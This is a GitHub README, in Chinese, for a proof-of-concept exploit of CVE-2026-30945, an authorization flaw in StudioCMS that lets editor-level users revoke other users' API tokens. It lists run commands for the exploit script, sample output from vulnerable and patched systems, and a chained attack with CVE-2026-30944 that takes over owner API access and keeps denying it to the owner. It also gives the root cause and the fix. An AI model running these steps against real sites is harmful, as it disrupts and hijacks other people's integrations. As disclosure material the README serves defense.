FilipeGaudard/CVE-2026-30945-PoC
GitHub: FilipeGaudard/CVE-2026-30945-PoC
针对 StudioCMS IDOR 漏洞的 PoC 工具,演示低权限用户如何绕过授权撤销任意账户 API Token 导致拒绝服务。
Stars: 0 | Forks: 0
🗑️ CVE-2026-30945
StudioCMS IDOR — 任意 API Token 撤销导致拒绝服务
NVD •
Advisory •
CWE-639
## 概述
**StudioCMS ≤ 0.3.0** 中的 `DELETE /studiocms_api/dashboard/api-tokens` endpoint 允许任何拥有 `editor` 权限或更高权限的已认证用户撤销**任何其他用户**的 API token,包括 `admin` 和 `owner` 账户。
该 handler 直接从请求 payload 中接收 `tokenID` 和 `userID`,而不验证 token 所有权、调用者身份或角色层级。这使得针对关键集成和自动化流程的**定向拒绝服务**成为可能。
### 攻击流程
```
┌──────────────┐ DELETE /api-tokens ┌──────────────┐
│ │ {"tokenID":"
", │ │
│ Attacker │ "userID":""} │ StudioCMS │
│ (Editor) │ ──────────────────────────► │ Server │
│ │ │ │
│ │ ◄────────────────────────── │ │
└──────────────┘ {"message":"Token deleted"} └──────────────┘
│
▼
┌──────────────┐
│ Owner's │
│ CI/CD │
│ Pipeline │──► ❌ 401 Unauthorized
│ Integration │──► ❌ API Access Lost
│ Monitoring │──► ❌ Silent Failure
└──────────────┘
```
### 漏洞详情
| 字段 | 值 |
|---|---|
| **CVE** | [CVE-2026-30945](https://nvd.nist.gov/vuln/detail/CVE-2026-30945) |
| **GHSA** | [GHSA-8rgj-vrfr-6hqr](https://github.com/withstudiocms/studiocms/security/advisories/GHSA-8rgj-vrfr-6hqr) |
| **CVSS v3.1** | **7.1** (High) — `AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H` |
| **CWE** | CWE-639: Authorization Bypass Through User-Controlled Key |
| **CWE (次要)** | CWE-863: Incorrect Authorization |
| **MITRE ATT&CK** | T1531 — Account Access Removal |
| **OWASP API** | API1:2023 — Broken Object Level Authorization |
| **受影响版本** | `studiocms ≤ 0.3.0` |
| **修复版本** | `studiocms 0.4.0` |
## 目录
| 文件 | 描述 |
|---|---|
| `cve_2026_30945_poc.py` | Python 利用脚本,支持手动和自动模式 |
| `README.md` | 本文件 |
| `LICENSE` | MIT License |
## 前置条件
- **StudioCMS ≤ 0.3.0**(受影响版本)
- Python 3.8+
- 至少拥有 `Editor` 账户的有效凭证
- 已知的 token 记录 UUID(内部 ID,而非 JWT)
```
pip install requests colorama
```
## 快速开始
### 手动利用
```
# 撤销属于 owner 的特定 token
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--token-id 16a2e549-513b-40ac-8ca3-858af6118afc
# 与 CVE-2026-30944 链接:首先为 target 创建 token
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1
# 将结果保存到 JSON
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--token-id 16a2e549-513b-40ac-8ca3-858af6118afc \
--save
```
### 自动化测试
```
# 使用多个 role 进行测试
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--auto-test \
--editor-user editor01 \
--editor-pass editorpass \
--visitor-user visitor01 \
--visitor-pass visitorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--token-id 16a2e549-513b-40ac-8ca3-858af6118afc
```
## 参数
### 必需参数
| 参数 | 描述 |
|---|---|
| `-u, --url` | 目标 StudioCMS base URL |
| `--target-uuid` | Token 将被撤销的目标用户 UUID |
### 可选参数
| 参数 | 描述 |
|---|---|
| `--token-id` | 要撤销的内部 token 记录 UUID(非 JWT)。如果省略,脚本将尝试先通过 CVE-2026-30944 创建一个 token |
### 手动模式
| 参数 | 描述 |
|---|---|
| `--username` | 用于认证的用户名 |
| `--password` | 用于认证的密码 |
### 自动化测试模式
| 参数 | 描述 |
|---|---|
| `--auto-test` | 启用多角色自动化测试 |
| `--editor-user` | Editor 账户用户名 |
| `--editor-pass` | Editor 账户密码 |
| `--visitor-user` | Visitor 账户用户名 |
| `--visitor-pass` | Visitor 账户密码 |
### 标志位
| 参数 | 描述 |
|---|---|
| `--save` | 将结果保存到 JSON 文件 |
| `--no-ssl-verify` | 禁用 SSL 证书验证 |
## 示例输出
### 受影响系统
```
──────────────────────────────────────────────────────────
PHASE 1: Authentication
──────────────────────────────────────────────────────────
[+] Authenticated as 'editor01'
[*] Session user: editor01 (editor)
[*] Session UUID: 39b3e7d3-5eb0-48e1-abdc-ce95a57b212c
──────────────────────────────────────────────────────────
PHASE 3: Token Revocation (IDOR)
──────────────────────────────────────────────────────────
[*] Target UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
[*] Token ID: 16a2e549-513b-40ac-8ca3-858af6118afc
[*] Revoking target's API token...
[+] Token revoked! Server response: Token deleted
[!] VULNERABILITY CONFIRMED — Token successfully revoked!
[!] Target user's API integrations are now broken (DoS)
```
### 已修补系统
```
──────────────────────────────────────────────────────────
PHASE 3: Token Revocation (IDOR)
──────────────────────────────────────────────────────────
[*] Target UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
[*] Token ID: 16a2e549-513b-40ac-8ca3-858af6118afc
[*] Revoking target's API token...
[*] Access denied (403 Forbidden) — endpoint may be patched
[-] Revocation failed: Access denied (403 Forbidden)
```
## 攻击链 (CVE-2026-30944 + CVE-2026-30945)
当与 token 生成 IDOR ([CVE-2026-30944](https://nvd.nist.gov/vuln/detail/CVE-2026-30944)) 结合使用时,攻击者可以执行完整的 API 凭证接管:
```
Step 1: Revoke owner's legitimate token (CVE-2026-30945)
└──► Owner's CI/CD pipelines break silently
Step 2: Generate new token for owner (CVE-2026-30944)
└──► Attacker now has owner-level API access
Step 3: Owner creates a new token to fix
└──► Attacker revokes it again (persistent DoS)
```
这种情况使攻击者能够维持对 owner API 访问权的持续控制,在维持其自身非法访问的同时,反复撤销 owner 创建的任何新 token。
## 根本原因
位于 `packages/studiocms/frontend/pages/studiocms_api/dashboard/api-tokens.ts`(第 58–99 行)的受影响 handler 从请求体中接收 `tokenID` 和 `userID`,并在未进行任何授权检查的情况下直接将其传递给删除函数:
```
// [1] Only checks if caller is editor — not WHO they're deleting tokens for
const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isEditor;
// [2] Both values from request body — no validation against session
const jsonData = yield* readAPIContextJson<{
tokenID: string; // No ownership check
userID: string; // No identity check
}>(ctx);
// [3] Passed directly to destructive operation — IDOR
yield* sdk.REST_API.tokens.delete({ tokenId: jsonData.tokenID, userId: jsonData.userID });
```
该 handler 存在**五个明显的缺陷**:权限门控不足、无 token 所有权验证、缺少调用者身份检查、无角色层级强制执行,以及将用户控制的值直接传递给破坏性操作。
## 影响
- **拒绝服务** — 用于 CI/CD 流水线、第三方集成或监控系统的 API token 可能被静默撤销
- **选择性破坏** — Editor 可以针对性地撤销特定 admin 或 owner 的 token
- **无审计痕迹** — 撤销操作被视为合法操作,难以进行归因
- **链式攻击导致的持续 DoS** — 与 CVE-2026-30944 结合使用时,攻击者可以反复撤销受害者创建的任何新 token
## 缓解措施
将 StudioCMS 更新至 **0.4.0** 或更高版本:
```
npm install studiocms@latest
```
## 法律免责声明
**本工具仅用于教育和授权安全测试目的。**
- 仅对您拥有或获得明确书面许可测试的系统使用
- 未经授权访问计算机系统在大多数司法管辖区均属违法
- 作者不对本工具的滥用承担任何责任
- 请始终遵循负责任的披露实践
## 参考资料
- **CVE:** [CVE-2026-30945](https://nvd.nist.gov/vuln/detail/CVE-2026-30945)
- **Advisory:** [GHSA-8rgj-vrfr-6hqr](https://github.com/withstudiocms/studiocms/security/advisories/GHSA-8rgj-vrfr-6hqr)
- **相关 CVE:** [CVE-2026-30944](https://nvd.nist.gov/vuln/detail/CVE-2026-30944) (Token 生成 IDOR)
- **CWE:** [CWE-639 — Authorization Bypass Through User-Controlled Key](https://cwe.mitre.org/data/definitions/639.html)
- **OWASP:** [API1:2023 — Broken Object Level Authorization](https://owasp.org/API-Security/editions/2023/en/0xa1-broken-object-level-authorization/)
- **MITRE ATT&CK:** [T1531 — Account Access Removal](https://attack.mitre.org/techniques/T1531/)
## 作者
**Filipe Gaudard**
## 许可证
本 PoC 基于 [MIT License](LICENSE) 发布,用于教育目的。请负责任且合乎道德地使用。标签:API Token, API安全, CMS漏洞, CVE-2026-30945, CWE-639, DoS, Homebrew安装, IDOR, JSON输出, NVD, PoC, StudioCMS, Web安全, 不安全的直接对象引用, 拒绝服务, 暴力破解, 权限绕过, 编辑器权限, 网络安全, 蓝队分析, 越权访问, 逆向工具, 隐私保护